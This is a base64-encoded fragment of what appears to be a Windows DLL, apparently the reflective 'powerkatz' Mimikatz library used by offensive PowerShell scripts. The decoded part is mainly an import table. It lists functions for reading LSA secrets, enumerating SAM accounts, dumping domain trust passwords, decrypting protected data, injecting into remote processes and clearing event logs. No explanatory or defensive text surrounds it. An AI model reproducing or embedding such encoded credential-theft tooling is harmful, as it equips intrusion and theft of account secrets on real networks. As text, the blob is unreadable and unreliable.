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FDAAAAAAAkEUMAAAAAAD2QgwAAAAAAApDDAAAAAAAKkMMAAAAAABCQwwAAAAAAMBDDAAAAAAAnkMMAAAAAACOQwwAAAAAAHZDDAAAAAAAXkMMAAAAAAB4RAwAAAAAAAAAAAAAAAAACDwMAAAAAAD2OwwAAAAAAOI7DAAAAAAAAAAAAAAAAADLAENyeXB0UmVsZWFzZUNvbnRleHQAwABDcnlwdEdlbktleQDGAENyeXB0R2V0UHJvdlBhcmFtAMQAQ3J5cHRHZXRIYXNoUGFyYW0AygBDcnlwdEltcG9ydEtleQAAzQBDcnlwdFNldEtleVBhcmFtAAC2AENyeXB0RGVzdHJveUhhc2gAAMwAQ3J5cHRTZXRIYXNoUGFyYW0AyABDcnlwdEhhc2hEYXRhALMAQ3J5cHRDcmVhdGVIYXNoAL8AQ3J5cHRFeHBvcnRLZXkAALQAQ3J5cHREZWNyeXB0AADUAlN5c3RlbUZ1bmN0aW9uMDA3ALkAQ3J5cHREdXBsaWNhdGVLZXkAugBDcnlwdEVuY3J5cHQAALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMUAQ3J5cHRHZXRLZXlQYXJhbQAAsABDcnlwdEFjcXVpcmVDb250ZXh0QQAAtwBDcnlwdERlc3Ryb3lLZXkANgFHZXRMZW5ndGhTaWQAAHYAQ29weVNpZACdAUxzYUNsb3NlAAC9AUxzYU9wZW5Qb2xpY3kAxQFMc2FRdWVyeUluZm9ybWF0aW9uUG9saWN5AIMAQ3JlYXRlV2VsbEtub3duU2lkAAB8AENyZWF0ZVByb2Nlc3NBc1VzZXJXAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAG4CUmVnUXVlcnlWYWx1ZUV4VwAAUgJSZWdFbnVtVmFsdWVXAGECUmVnT3BlbktleUV4VwB+AlJlZ1NldFZhbHVlRXhXAABPAlJlZ0VudW1LZXlFeFcAaAJSZWdRdWVyeUluZm9LZXlXAAAwAlJlZ0Nsb3NlS2V5AO0CU3lzdGVtRnVuY3Rpb24wMzIAKQJRdWVyeVNlcnZpY2VTdGF0dXNFeAAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAgAFJc1RleHRVbmljb2RlAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCPAUxvb2t1cEFjY291bnROYW1lVwAAkQFMb29rdXBBY2NvdW50U2lkVwD3AU9wZW5Qcm9jZXNzVG9rZW4AAHQAQ29udmVydFN0cmluZ1NpZFRvU2lkVwAAqwFMc2FGcmVlTWVtb3J5ANMCU3lzdGVtRnVuY3Rpb24wMDYAvABDcnlwdEVudW1Qcm92aWRlclR5cGVzVwC+AENyeXB0RW51bVByb3ZpZGVyc1cAxwBDcnlwdEdldFVzZXJLZXkA9gFPcGVuRXZlbnRMb2dXAFMAQ2xlYXJFdmVudExvZ1cAAEMBR2V0TnVtYmVyT2ZFdmVudExvZ1JlY29yZHMAACcCUXVlcnlTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAEMAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAAAgAUZyZWVTaWQAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAACAAQWxsb2NhdGVBbmRJbml0aWFsaXplU2lkAACBAENyZWF0ZVNlcnZpY2VXAADmAlN5c3RlbUZ1bmN0aW9uMDI1AMwBTHNhUmV0cmlldmVQcml2YXRlRGF0YQAAvwFMc2FPcGVuU2VjcmV0AMkBTHNhUXVlcnlUcnVzdGVkRG9tYWluSW5mb0J5TmFtZQDGAUxzYVF1ZXJ5U2VjcmV0AADOAlN5c3RlbUZ1bmN0aW9uMDAxANICU3lzdGVtRnVuY3Rpb24wMDUAVwFHZXRTaWRTdWJBdXRob3JpdHkAANoCU3lzdGVtRnVuY3Rpb24wMTMAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAJcBTG9va3VwUHJpdmlsZWdlVmFsdWVXAIYBSXNWYWxpZFNpZAAA/AFPcGVuVGhyZWFkVG9rZW4A3wBEdXBsaWNhdGVUb2tlbkV4AABRAENoZWNrVG9rZW5NZW1iZXJzaGlwAADBAlNldFRocmVhZFRva2VuAACMAENyZWRGcmVlAACJAENyZWRFbnVtZXJhdGVXAABBRFZBUEkzMi5kbGwAAAgAQ2VydEFkZEVuY29kZWRDZXJ0aWZpY2F0ZVRvU3RvcmUAAEAAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAABIAQ2VydENsb3NlU3RvcmUAABABUEZYRXhwb3J0Q2VydFN0b3JlRXgAAGoAQ2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AFcAQ2VydE9wZW5TdG9yZQDWAENyeXB0VW5wcm90ZWN0RGF0YQAAewBDcnlwdEJpbmFyeVRvU3RyaW5nVwAA1ABDcnlwdFN0cmluZ1RvQmluYXJ5VwAAugBDcnlwdFByb3RlY3REYXRhAAB5AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQCLAENyeXB0RXhwb3J0UHVibGljS2V5SW5mbwAALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAAM4AQ3J5cHRTaWduQW5kRW5jb2RlQ2VydGlmaWNhdGUALABDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUAhABDcnlwdEVuY29kZU9iamVjdAA1AENlcnRGaW5kQ2VydGlmaWNhdGVJblN0b3JlAABLAENlcnRHZXROYW1lU3RyaW5nVwAARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAQ1JZUFQzMi5kbGwABgBDRExvY2F0ZUNoZWNrU3VtAAAMAE1ENUluaXQADQBNRDVVcGRhdGUACwBNRDVGaW5hbAAABQBDRExvY2F0ZUNTeXN0ZW0ABABDREdlbmVyYXRlUmFuZG9tQml0cwAAY3J5cHRkbGwuZGxsAAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAABQAQ29DcmVhdGVJbnN0YW5jZQAAcABDb1VuaW5pdGlhbGl6ZQAAQwBDb0luaXRpYWxpemVFeAAAb2xlMzIuZGxsAE9MRUFVVDMyLmRsbAAAeQFScGNCaW5kaW5nU2V0T3B0aW9uAGcBUnBjQmluZGluZ0Zyb21TdHJpbmdCaW5kaW5nVwAA9gFScGNTdHJpbmdCaW5kaW5nQ29tcG9zZVcAAHYBUnBjQmluZGluZ1NldEF1dGhJbmZvRXhXAAD6AVJwY1N0cmluZ0ZyZWVXAAB6AE1lc0hhbmRsZUZyZWUAeQBNZXNFbmNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAdgBNZXNEZWNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAZQFScGNCaW5kaW5nRnJlZQAAewBNZXNJbmNyZW1lbnRhbEhhbmRsZVJlc2V0APoATmRyTWVzVHlwZUVuY29kZTIA9wBOZHJNZXNUeXBlRGVjb2RlMgD8AE5kck1lc1R5cGVGcmVlMgD0AE5kck1lc1R5cGVBbGlnblNpemUyAAAgAElfUnBjQmluZGluZ0lucVNlY3VyaXR5Q29udGV4dAAAlQBOZHJDbGllbnRDYWxsMgAAAwJVdWlkQ3JlYXRlAABSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBJAFBhdGhGaW5kRmlsZU5hbWVXAFsAUGF0aElzRGlyZWN0b3J5VwAAU0hMV0FQSS5kbGwAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluACEAU2FtT3BlblVzZXIAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAABwBTYW1Db25uZWN0AAAGAFNhbUNsb3NlSGFuZGxlAAAUAFNhbUZyZWVNZW1vcnkAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgAgAFNhbU9wZW5Hcm91cAAAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAABAAU2FtRW51bWVyYXRlQWxpYXNlc0luRG9tYWluACwAU2FtUmlkVG9TaWQAHgBTYW1PcGVuQWxpYXMAABUAU2FtR2V0QWxpYXNNZW1iZXJzaGlwABIAU2FtRW51bWVyYXRlR3JvdXBzSW5Eb21haW4AABsAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZXIAABoAU2FtR2V0TWVtYmVyc0luR3JvdXAAABkAU2FtR2V0TWVtYmVyc0luQWxpYXMAABgAU2FtR2V0R3JvdXBzRm9yVXNlcgBTQU1MSUIuZGxsAAAYAEZyZWVDb250ZXh0QnVmZmVyADQAUXVlcnlDb250ZXh0QXR0cmlidXRlc1cAJwBMc2FDb25uZWN0VW50cnVzdGVkACgATHNhRGVyZWdpc3RlckxvZ29uUHJvY2VzcwAmAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAC0ATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAAqAExzYUZyZWVSZXR1cm5CdWZmZXIAU2VjdXIzMi5kbGwABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAMcBSXNDaGFyQWxwaGFOdW1lcmljVwBAAUdldEtleWJvYXJkTGF5b3V0AFVTRVIzMi5kbGwAAAUASGlkRF9HZXRIaWRHdWlkAAEASGlkRF9GcmVlUHJlcGFyc2VkRGF0YQAADABIaWREX0dldFByZXBhcnNlZERhdGEAFQBIaWRQX0dldENhcHMAAAIASGlkRF9HZXRBdHRyaWJ1dGVzAABISUQuRExMAD8BU2V0dXBEaURlc3Ryb3lEZXZpY2VJbmZvTGlzdAAAQwFTZXR1cERpRW51bURldmljZUludGVyZmFjZXMAVgFTZXR1cERpR2V0Q2xhc3NEZXZzVwAAbgFTZXR1cERpR2V0RGV2aWNlSW50ZXJmYWNlRGV0YWlsVwAAU0VUVVBBUEkuZGxsAAAqAFNDYXJkTGlzdFJlYWRlcnNXABYAU0NhcmRHZXRDYXJkVHlwZVByb3ZpZGVyTmFtZVcAJABTQ2FyZExpc3RDYXJkc1cAMwBTQ2FyZFJlbGVhc2VDb250ZXh0AAwAU0NhcmRFc3RhYmxpc2hDb250ZXh0AAoAU0NhcmREaXNjb25uZWN0ABQAU0NhcmRHZXRBdHRyaWIAABMAU0NhcmRGcmVlTWVtb3J5AAgAU0NhcmRDb25uZWN0VwBXaW5TQ2FyZC5kbGwAAFdMREFQMzIuZGxsABUAUnRsRnJlZUFuc2lTdHJpbmcAIABSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAWAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAASAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAAFABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAHABSdGxJbml0VW5pY29kZVN0cmluZwAAAgBOdFF1ZXJ5T2JqZWN0ABgAUnRsR2V0Q29tcHJlc3Npb25Xb3JrU3BhY2VTaXplAAAPAFJ0bENvbXByZXNzQnVmZmVyAAUATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAABAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAGQBSdGxHZXRDdXJyZW50UGViAAAQAFJ0bENyZWF0ZVVzZXJUaHJlYWQAFwBSdGxHVUlERnJvbVN0cmluZwAfAFJ0bFN0cmluZ0Zyb21HVUlEABoAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAADgBSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAACIAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAADQBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAAGAE50UmVzdW1lUHJvY2VzcwAMAFJ0bEFkanVzdFByaXZpbGVnZQAACwBOdFRlcm1pbmF0ZVByb2Nlc3MAAAoATnRTdXNwZW5kUHJvY2VzcwAACABOdFNldFN5c3RlbUVudmlyb25tZW50VmFsdWVFeAAEAE50UXVlcnlTeXN0ZW1FbnZpcm9ubWVudFZhbHVlRXgAAABOdEVudW1lcmF0ZVN5c3RlbUVudmlyb25tZW50VmFsdWVzRXgAABMAUnRsRXF1YWxTdHJpbmcAAG50ZGxsLmRsbAABAElfTmV0U2VydmVyUmVxQ2hhbGxlbmdlAAAASV9OZXRTZXJ2ZXJBdXRoZW50aWNhdGUyAAACAElfTmV0U2VydmVyVHJ1c3RQYXNzd29yZHNHZXQAAG5ldGFwaTMyLmRsbAAAKwFGaWxlVGltZVRvU3lzdGVtVGltZQAAwwNSZWFkRmlsZQAANAVXcml0ZUZpbGUARgNMb2NhbEFsbG9jAACPAENyZWF0ZUZpbGVXAMAEU2xlZXAACAJHZXRMYXN0RXJyb3IAAM8EVGVybWluYXRlVGhyZWFkAFIAQ2xvc2VIYW5kbGUAtABDcmVhdGVUaHJlYWQAAEoDTG9jYWxGcmVlAD8BRmluZEZpcnN0RmlsZVcAAPgBR2V0RmlsZVNpemVFeABLAUZpbmROZXh0RmlsZVcAIwFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NXADQBRmluZENsb3NlAPEBR2V0RmlsZUF0dHJpYnV0ZXNXAADFAUdldEN1cnJlbnREaXJlY3RvcnlXAABdAUZsdXNoRmlsZUJ1ZmZlcnMAAMYBR2V0Q3VycmVudFByb2Nlc3MA7ABEdXBsaWNhdGVIYW5kbGUAggNPcGVuUHJvY2VzcwDhAERldmljZUlvQ29udHJvbAA9BVdyaXRlUHJvY2Vzc01lbW9yeQAA/gRWaXJ0dWFsUHJvdGVjdAAA+wRWaXJ0dWFsRnJlZQD4BFZpcnR1YWxBbGxvYwAAdARTZXRGaWxlUG9pbnRlcgAA/wRWaXJ0dWFsUHJvdGVjdEV4AAD5BFZpcnR1YWxBbGxvY0V4AADGA1JlYWRQcm9jZXNzTWVtb3J5APwEVmlydHVhbEZyZWVFeAAABVZpcnR1YWxRdWVyeQAAAQVWaXJ0dWFsUXVlcnlFeAAA5QRVbm1hcFZpZXdPZkZpbGUAjABDcmVhdGVGaWxlTWFwcGluZ1cAAFkDTWFwVmlld09mRmlsZQBNA0xvY2FsUmVBbGxvYwAAqABDcmVhdGVQcm9jZXNzVwAAgARTZXRMYXN0RXJyb3IAAAgFV2FpdEZvclNpbmdsZU9iamVjdACpAENyZWF0ZVJlbW90ZVRocmVhZAAAKgFGaWxlVGltZVRvTG9jYWxGaWxlVGltZQCeAkdldFRpbWVGb3JtYXRXAAAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUAzwFHZXREYXRlRm9ybWF0VwAAFQBBcmVGaWxlQXBpc0FOU0kA3ARUcnlFbnRlckNyaXRpY2FsU2VjdGlvbgDVAkhlYXBDcmVhdGUAANcCSGVhcEZyZWUAAPIARW50ZXJDcml0aWNhbFNlY3Rpb24AAAICR2V0RnVsbFBhdGhOYW1lVwAA1gFHZXREaXNrRnJlZVNwYWNlVwCLA091dHB1dERlYnVnU3RyaW5nQQAAVANMb2NrRmlsZQAAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA6gJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAP8BR2V0RnVsbFBhdGhOYW1lQQAAYQRTZXRFbmRPZkZpbGUAAOQEVW5sb2NrRmlsZUV4AACMAkdldFRlbXBQYXRoVwAAngBDcmVhdGVNdXRleFcAAKwCR2V0VmVyc2lvbkV4VwDfAkhlYXBWYWxpZGF0ZQAA3AJIZWFwU2l6ZQAAaQNNdWx0aUJ5dGVUb1dpZGVDaGFyAIsCR2V0VGVtcFBhdGhBAABkAUZvcm1hdE1lc3NhZ2VXAADTAUdldERpc2tGcmVlU3BhY2VBAOwBR2V0RmlsZUF0dHJpYnV0ZXNBAADuAUdldEZpbGVBdHRyaWJ1dGVzRXhXAACMA091dHB1dERlYnVnU3RyaW5nVwAAYAFGbHVzaFZpZXdPZkZpbGUAiABDcmVhdGVGaWxlQQAJBVdhaXRGb3JTaW5nbGVPYmplY3RFeACrAkdldFZlcnNpb25FeEEA1ABEZWxldGVGaWxlQQDXAERlbGV0ZUZpbGVXANoCSGVhcFJlQWxsb2MAegJHZXRTeXN0ZW1JbmZvANMCSGVhcEFsbG9jANQCSGVhcENvbXBhY3QA1gJIZWFwRGVzdHJveQDjBFVubG9ja0ZpbGUAAIkAQ3JlYXRlRmlsZU1hcHBpbmdBAABVA0xvY2tGaWxlRXgAAPcBR2V0RmlsZVNpemUA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24AxwFHZXRDdXJyZW50UHJvY2Vzc0lkAFECR2V0UHJvY2Vzc0hlYXAAAMsEU3lzdGVtVGltZVRvRmlsZVRpbWUAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAfgJHZXRTeXN0ZW1UaW1lAGMBRm9ybWF0TWVzc2FnZUEAAKkDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAmgJHZXRUaWNrQ291bnQAAEEDTG9hZExpYnJhcnlXAABMAkdldFByb2NBZGRyZXNzAABoAUZyZWVMaWJyYXJ5AB4CR2V0TW9kdWxlSGFuZGxlVwAAuAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAawJHZXRTdGRIYW5kbGUAAJ8CR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAALgFGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcAWwRTZXRDdXJyZW50RGlyZWN0b3J5VwAAPwRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAMoBR2V0Q3VycmVudFRocmVhZAAAywFHZXRDdXJyZW50VGhyZWFkSWQAAO8CSW5pdGlhbGl6ZVNMaXN0SGVhZAAYBFJ0bENhcHR1cmVDb250ZXh0AB8EUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAJgRSdGxWaXJ0dWFsVW53aW5kAAACA0lzRGVidWdnZXJQcmVzZW50AOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBqAkdldFN0YXJ0dXBJbmZvVwAGA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAS0VSTkVMMzIuZGxsAAAlBFJ0bFVud2luZEV4APECSW50ZXJsb2NrZWRGbHVzaFNMaXN0AOsCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudADTBFRsc0FsbG9jAADVBFRsc0dldFZhbHVlANYEVGxzU2V0VmFsdWUA1ARUbHNGcmVlAEADTG9hZExpYnJhcnlFeFcAAIwBR2V0Q29tbWFuZExpbmVBAI0BR2V0Q29tbWFuZExpbmVXAB8BRXhpdFByb2Nlc3MAzgRUZXJtaW5hdGVQcm9jZXNzAAAdAkdldE1vZHVsZUhhbmRsZUV4VwAAGQJHZXRNb2R1bGVGaWxlTmFtZUEAAG4BR2V0QUNQAAD6AUdldEZpbGVUeXBlAGQAQ29tcGFyZVN0cmluZ1cAAC8DTENNYXBTdHJpbmdXAACgAUdldENvbnNvbGVDUAAAsgFHZXRDb25zb2xlTW9kZQAAlARTZXRTdGRIYW5kbGUAAHACR2V0U3RyaW5nVHlwZVcAADkBRmluZEZpcnN0RmlsZUV4QQAASQFGaW5kTmV4dEZpbGVBAAwDSXNWYWxpZENvZGVQYWdlAD4CR2V0T0VNQ1AAAHgBR2V0Q1BJbmZvAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAZwFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwBkBFNldEVudmlyb25tZW50VmFyaWFibGVBAHUEU2V0RmlsZVBvaW50ZXJFeAAAMwVXcml0ZUNvbnNvbGVXAMEDUmVhZENvbnNvbGVXAAC0A1JhaXNlRXhjZXB0aW9uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA